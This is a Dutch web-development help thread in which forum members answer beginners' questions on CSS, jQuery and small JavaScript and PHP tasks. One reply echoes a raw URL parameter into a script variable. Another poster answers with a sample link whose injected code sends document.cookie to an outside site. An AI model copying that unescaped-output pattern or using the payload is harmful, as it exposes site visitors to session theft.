DIG Digital Corner
Alles wat je altijd al over computers, hardware, software, internet en elektronische gadgets had willen weten, maar niet op Tweakers.net durft te vragen.
Mensen niet haten, programmeer liefde.
It was an opportunity to honour our memories and to make room for new ones
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.quote:Op maandag 26 november 2012 20:02 schreef Scorpie het volgende:
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij.
Ik ga zo wel even posten wat ik ervan gemaakt heb, mogen jullie het weer afblaffen.quote:
[..]
Hier had ik al de oplossing gepost he, voor de duidelijkheid.
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.quote:
[..]
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.quote:
[..]
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen.
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen.quote:Op maandag 26 november 2012 20:19 schreef Tijn het volgende:
[..]
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet.
Deze kan zo in het rijtje Cruijffiaanse uitspraken.quote:Op maandag 26 november 2012 20:39 schreef Scorpie het volgende:
[..]
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen.
Maar ik snap je punt.
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.quote:
[..]
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen.
Dat snap ik volledig. Als mensen een potje maken van mijn vakgebied kan ik ook heel boos worden. Het is vaak lachwekkend om te zien hoe sommige mensen te werk gaan. Echter moet je niet vergeten dat dit om een privé-projectje gaat waar het woord "professioneel" in de verste verte niet te bekennen valt. Ik hoopte hier gewoon simpele, maar doeltreffende oplossingen te vinden van mensen die wél weten hoe je een probleem professioneel oplost.quote:
[..]
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen.
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
Dat dacht ik ook.quote:Op maandag 26 november 2012 21:28 schreef Tijn het volgende:
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem.
Ok mensen, ik heb een vraag. Een klant wil voor een Wordpress design dat ik titels van categorieën enzo in twee fonts doe. Ze zijn altijd twee woorden, steeds het eerste woord font 1 en het tweede woord font 2.
Helaas is er niet zoiets als :first-word, dus ik neem aan dat ik maar gewoon met js achteraf de categorie moet splitten en er spans met classes omheen moet zetten? Of weet iemand een betere oplossing?
Helaas is er niet zoiets als :first-word, dus ik neem aan dat ik maar gewoon met js achteraf de categorie moet splitten en er spans met classes omheen moet zetten? Of weet iemand een betere oplossing?
Je kunt denk ik beter met PHP op de server de categorienamen splitten en de spans er omheen zetten. Met JS het font wisselen gaat denk ik voor een FOUT zorgen.
Hmm, misschien is dat wel beter ja. Ik doe dit soort dingen liever aan de front-end, maar dat is voor de gebruiker wel fijner.
Categorieën zitten niet in links? Kan je dan apart selecteren met css
“Specialization is for insects”.—Robert Heinlein
je zou bijv.:before { content:attr(data-firstword)} en :after {content:attr(data-lastword)} kunnen gebruiken, maar dat zou wel erg een hack om de hack zijn, dan zou ik liever voor een extra span kiezen.
(dit even er vanuit gaande dat je serverside iets van parsing doet)
(dit even er vanuit gaande dat je serverside iets van parsing doet)
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
Dat geeft je wel de beste garantie dat het ook nog voor iedereen gewoon leesbaar blijft. Wat toch uiteindelijk het allerbelangrijkste is.quote:
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga.
Hey, KomtTijd, alles goed? Ik heb weer een vervelende vraag (en nóg onduidelijker dan de vorige).
Ik heb de selectable plugin van jQuery UI gebruikt om een selectable grid-systeem te maken. Als ik de code 1-op-1 kopieer in een leeg "document", dan werkt het prima. Nu wil ik de code ook gebruiken in mijn "document" (en dan werkt het ook). Echter na een onbekende handeling verschijnt er een puntje in beeld. Ik weet dus niet waardoor dit getriggerd wordt.
Het vervelende is dus dat ik er geen JSFiddle van kan maken, omdat het probleem dan niet ontstaat. Ik zou natuurlijk m'n hele project kunnen kopiëren, maar dat houdt ik liever alleen voor mezelf. De vraag is dan ook of jullie een vermoeden hebben waardoor de puntje steeds zichtbaar wordt. Na het triggeren van het puntje, verschijnt ie altijd in dezelfde hoogte boven de cursor en alleen bij het klikken. Als ik de pagina dan refresh is 'ie weer weg, maar na de onbekende handeling verschijnt 'ie weer, alleen dan weer in een andere hoogte boven de cursor.
Zelf dacht ik dat het misschien het puntje van een li was, maar met "list-style-type: none;" lijkt 'ie niet weg te gaan. Chrome geeft bij het klikken wel een helper-class weer die wellicht het probleem veroorzaakt. Hebben jullie enig idee wat dit puntje is?
Ik heb weer een vervelende vraag (en nóg onduidelijker dan de vorige). Ik heb de selectable plugin van jQuery UI gebruikt om een selectable grid-systeem te maken. Als ik de code 1-op-1 kopieer in een leeg "document", dan werkt het prima. Nu wil ik de code ook gebruiken in mijn "document" (en dan werkt het ook). Echter na een onbekende handeling verschijnt er een puntje in beeld. Ik weet dus niet waardoor dit getriggerd wordt.
Het vervelende is dus dat ik er geen JSFiddle van kan maken, omdat het probleem dan niet ontstaat. Ik zou natuurlijk m'n hele project kunnen kopiëren, maar dat houdt ik liever alleen voor mezelf. De vraag is dan ook of jullie een vermoeden hebben waardoor de puntje steeds zichtbaar wordt. Na het triggeren van het puntje, verschijnt ie altijd in dezelfde hoogte boven de cursor en alleen bij het klikken. Als ik de pagina dan refresh is 'ie weer weg, maar na de onbekende handeling verschijnt 'ie weer, alleen dan weer in een andere hoogte boven de cursor.
Zelf dacht ik dat het misschien het puntje van een li was, maar met "list-style-type: none;" lijkt 'ie niet weg te gaan. Chrome geeft bij het klikken wel een helper-class weer die wellicht het probleem veroorzaakt. Hebben jullie enig idee wat dit puntje is?
En wat zie je als je dan het puntje selecteert?quote:
[..]
Bedoel je Element Inspect van Chrome?Ja, die gebruik ik.
Het puntje kan ik niet selecteren. Het verschijnt altijd op een bepaalde hoogte boven de cursor bij het klikken.quote:
[..]
En wat zie je als je dan het puntje selecteert?
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?quote:
[..]
Het puntje kan ik niet selecteren.
Anders is het misschien een glitch. Heb je het met andere browsers ook?
Ik wil straks met jQuery gegevens versturen. Kan dat ook anders dan? Waarom is deze plugin er dan?quote:Op donderdag 29 november 2012 22:24 schreef picodealion het volgende:
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS?
[ Bericht 2% gewijzigd door pascal08 op 29-11-2012 22:30:57 ]
Ja, die heb ik bekeken. Er valt mij niets vreemds op. Ik zal nu kijken of ik het ook kan triggeren met Firefox.quote:
[..]
Weet je dat zeker? Heb je de gegenereerde HTML bekeken?
Anders is het misschien een glitch. Heb je het met andere browsers ook?
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op
Nee, dat snap ik. Ik hoopte dat het een bekend probleem is. Zonder code wordt het natuurlijk gewoon gokken als je dit probleem niet eerder hebt gezien. Ik zal eens kijken of ik het kan reproduceren in een fiddle, momentje.quote:
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op
Ik wist ten eerste niet hoe ik mijn layout wilde gaan maken, dus dit bracht me op een goed idee. Ten tweede weet ik hoe ik met jQuery gegevens moet doorsturen, zodat ik een query kan maken die de juiste gegevens ophaalt uit m'n database. En ten derde scheelde het me wat tijd, want ik hoef nu niet zelf m'n CSS te maken. Ik zag er dus alleen maar voordelen in. Waarom vraag je dat dan?quote:
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt.
Ik kan het probleem trouwens niet reproduceren in een fiddle, dus ik laat het maar even zo. Toch bedankt voor de snelle reactie.
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.quote:
Ik gebruik jQuery UI toch al, dus dan is het toch handiger om deze plugin te gebruiken in plaats van het zelf te schrijven. Daarnaast vind ik jQuery wel fijn. Alles is voorgekauwd en het scheelt mij als beginner een hoop tijd.quote:
[..]
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.
Maar jQueryUI vind ik persoonlijk wat minder. Als ik het al gebruik is het vaak een hele minimale build met maar 1 of 2 componenten.
Maar jQueryUI vind ik persoonlijk wat minder. Als ik het al gebruik is het vaak een hele minimale build met maar 1 of 2 componenten.
Ik vind het wel een uitkomst. Ik haal er een hele hoop ideeën vandaan en het werkt altijd meteen. Wellicht is de code zelf schrijven efficiënter voor de website, maar dan ben ik in 2025 nog niet klaar.quote:
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.
Maar jQueryUI vind ik persoonlijk wat minder.
Ik heb het puntje nu ook weten te triggeren in deze fiddle: http://jsfiddle.net/5BNdM/
Vraag me niet hoe. Het vereist in ieder geval een hoop clicks.
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.
Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Hoe zou jij het doen dan? Het gaat alleen om het principe van selecteren/geselecteerd blijven en deselecteren/gedeselecteerd blijven.quote:
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.
Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Wat zou dat schelen in ms of is het puur omdat je code er kleiner van wordt?quote:
Gewoon onclick een class "selected" geven of ontnemen.
Da's waar.quote:Op donderdag 29 november 2012 23:16 schreef Tijn het volgende:
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten
Hij is nu wel al een tijdje weg nadat ik de code opnieuw gekopieerd en geplakt heb. *klop klop*
Puntje is er weer. Volgens jou kan ik dus beter het zo doen?
en dan de jQuery... ?
Volgens jou kan ik dus beter het zo doen?| 1 2 3 | <div class=" (selected of niks) " style="float:left; margin: 2px; padding: 0px; width: 80px;"> // inhoud </div> |
en dan de jQuery... ?
Is zoiets niet wat je wil?
style.css:
script.js:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <!DOCTYPE html> <html> <head> <title>Voorbeeld van klikbare blokjes</title> <link rel="stylesheet" href="style.css" type="text/css" /> </head> <body> <h1>omg klikbare blokjes</h1> <ul id="selectable"> <li data-id="1">blokje 1</li> <li data-id="2">blokje 2</li> <li data-id="3">blokje 3</li> <li data-id="4">blokje 4</li> <li data-id="5">blokje 5</li> <li data-id="6">blokje 6</li> <li data-id="7">blokje 7</li> <li data-id="8">blokje 8</li> <li data-id="9">blokje 9</li> </ul> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> <script src="script.js"></script> </body> </html> |
style.css:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | body { font-family: sans-serif; text-align: center; } #selectable { list-style-type: none; } #selectable li { float: left; width: 80px; height: 80px; background-color: #eee; border: 1px solid #888; border-radius: 3px; margin: 5px; padding: 10px; cursor: pointer; } #selectable li:hover { background-color: #fff; } #selectable li.selected { background-color: #f8f89f; } |
script.js:
| 1 2 3 4 5 | $(document).ready(function(){ $('#selectable li').live('click', function(){ $(this).toggleClass('selected'); }); }); |
Holy shit, even kijken.quote:
Is zoiets niet wat je wil?
[ code verwijderd ]
style.css:
[ code verwijderd ]
script.js:
[ code verwijderd ]
W00t, deze is nog mooier.
...en geen puntje!!! Thanks a million. 
Het is maar een voorbeeldje hoor.
In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Wel een heel mooi voorbeeldje.quote:
Het is maar een voorbeeldje hoor.
In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Ik weet hoe ik jouw voorbeeld kan uitbreiden met een Ajax call, dus dit is perfect. Nog 1 vraagje: waar gebruik je data-id voor bij elke <li>?
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie.quote:
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Ik heb trouwens ook een slidersysteem gemaakt met jQuery UI. Ik heb er enorm veel werk aan gehad om het helemaal werkend te krijgen, terwijl ik de basis dus niet eens zelf heb hoeven te schrijven. Zou jij zoiets ook zelf maken?
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond.quote:
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
Ik snap niet helemaal wat je bedoelt.quote:
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
jQuery UI is toch één compleet bestand? Kan ik delen daarvan gewoon weghalen?
http://jqueryui.com/download/
Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude.quote:
http://jqueryui.com/download/
Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Al die jQuery componenten zijn al goed voor 108kb zie ik. Als er nog niets gecached is gaat er bijna 400kb doorheen. Gelukkig wijs je me er nu op, want volgens mij kan ik uit de bootstrap CSS ook een heleboel slopen.
[ Bericht 10% gewijzigd door pascal08 op 30-11-2012 00:08:06 ]
Omdat totals een array is. Dus totals[0]==null.quote:
[ code verwijderd ]
waarom levert (totals == null) false op?
Op donderdag 2 juli 2009 22:41 schreef RTB het volgende:
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
Ik ben mijn custom CSS aan het veranderen maar helaas wordt voor sommige elementen op FOK! geen aparte CSS gebruikt waardoor sommige dingen geen class of id krijgen.
Nu ben ik wel zover dat ik tags een bepaalde kleur kan krijgen, maar ik wil die van moderators een andere kleur geven. Hoe moet ik dat doen?
zelf geprobeerd
en allemaal varianten daarop.
Nu ben ik wel zover dat ik tags een bepaalde kleur kan krijgen, maar ik wil die van moderators een andere kleur geven. Hoe moet ik dat doen?
zelf geprobeerd
| 1 2 3 | a [style*="color:#0000FF"] { color: green!important; } |
en allemaal varianten daarop.
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
“Specialization is for insects”.—Robert Heinlein
Geloof er niks van.quote:
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
Het is al gelukt.quote:
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
| 1 2 3 | a.username[style*="#0000FF"], a.tag[style*="#0000FF"] { color: #389ABE !important; } |
Met dank aan TwyLight.
beterquote:
[..]
Het is al gelukt.
[ code verwijderd ]
Met dank aan TwyLight.
“Specialization is for insects”.—Robert Heinlein
Op 
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Wat heb je zelf tot nu toe?quote:
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.
Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Als je op de button klikt roept ie de functie count(); aan.quote:
| 1 2 3 4 5 6 7 8 | <script type="text/javascript"> var img = 1; function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; } </script> |
| 1 | document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img" + (img % 4) +".jpg)"; |
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
Neuh, gewoon %4 en bij 0 beginnen.quote:Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
quote:
script type="text/javascript">var img = 1;function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";}</script>
| 1 2 3 4 5 6 7 8 | <?php var img = 1; function count() { (img < 4) ? img = img++ : img = 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img"+img+".jpg)"; } ?> |
[ Bericht 1% gewijzigd door #ANONIEM op 04-12-2012 13:44:27 ]
Netter dan de mijne.quote:
[ code verwijderd ]
zoiets, kan ook % 3 of (img-1)%4 zijn.
Ik ga het zo eens proberen, bedankt alvast. Ik heb nu nog een ander probleempje wat eerst opgelost moet worden.
Ik heb het volgende bovenaan de pagina:
De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content".
Ik heb het volgende bovenaan de pagina:
| 1 2 3 | <script type="text/javascript"> document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)"; </script> |
De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content".
Als je even je console opent zie je direct of je een foutmelding krijgt en kun je ook zien of het adres daadwerkelijk gevonden kan worden.
gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is.
[ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ]
gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is.
[ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ]
Thanks ik heb het nu werkend maar zit nog met 1 dingetje. 
Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1
Dus section=S1 voor vakje 1, S2 voor vakje 2 etc.
Als je nu naar mijn script kijkt:
Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier?
Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden?
[ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ]
Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1
Dus section=S1 voor vakje 1, S2 voor vakje 2 etc.
Als je nu naar mijn script kijkt:
| 1 2 3 4 5 6 7 8 9 | <script type="text/javascript"> var section = "S3"; var img = 1; function count() { img = img + 1; document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)"; if (img==4) img=0; } </script> |
Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier?
Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden?
[ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ]
| 1 | var section = "<?= $_GET["section"] ?>"; |
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Ach, mensen klikken ook op dit soort pareltjes.quote:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Er sterft altijd een beetje van mezelf als ik zulke dingen ziequote:javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
Nee.
Ik dacht ook dat het normaal was om even statusbalk naar de href van een link te kijken voordat je erop klikt, maar ik ben er inmiddels na een hoop contact met gebruikers wel achter dat echt niemand iets met die informatie doet 
Ik ben sinds een week aan het stunten met een (kleine) website. Notepad + + gedownload om de bestanden snel aan te kunnen passen, en een bronmap aangemaakt voor de verschillende files. De index in html gemaakt, de opmaak met css. Ik wilde graag een goede basis hebben voordat ik foto's en andere dingen zou gaan proberen, dus het oogt nog een beetje kaal misschien.
Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.
Ik heb alles werkend in Firefox, maar twee vragen:
1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen?
2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken?
Ik hoop dat iemand wat tips heeft.
ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen.
w3 validator = passed html5
Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.
| 1 2 3 4 5 6 7 8 9 10 11 | $(document).ready(function(){ // index laden bij start $('#content').load('content/index.php'); // navigatie laden bij klikken $('ul#nav li a').click(function() { var page = $(this).attr('href'); $('#content').load('content/' + page + '.php'); return false; }); }); |
Ik heb alles werkend in Firefox, maar twee vragen:
1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen?
2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken?
Ik hoop dat iemand wat tips heeft.
ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen.
w3 validator = passed html5
I'm not the girl in the picture..
Even een flowtutorial lezen
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepastquote:
Even een flowtutorial lezen
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
I'm not the girl in the picture..
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
1. is opgelost ik had de #container div geen width meer meegegeven
I'm not the girl in the picture..
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/quote:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.
PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken.quote:
[..]
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
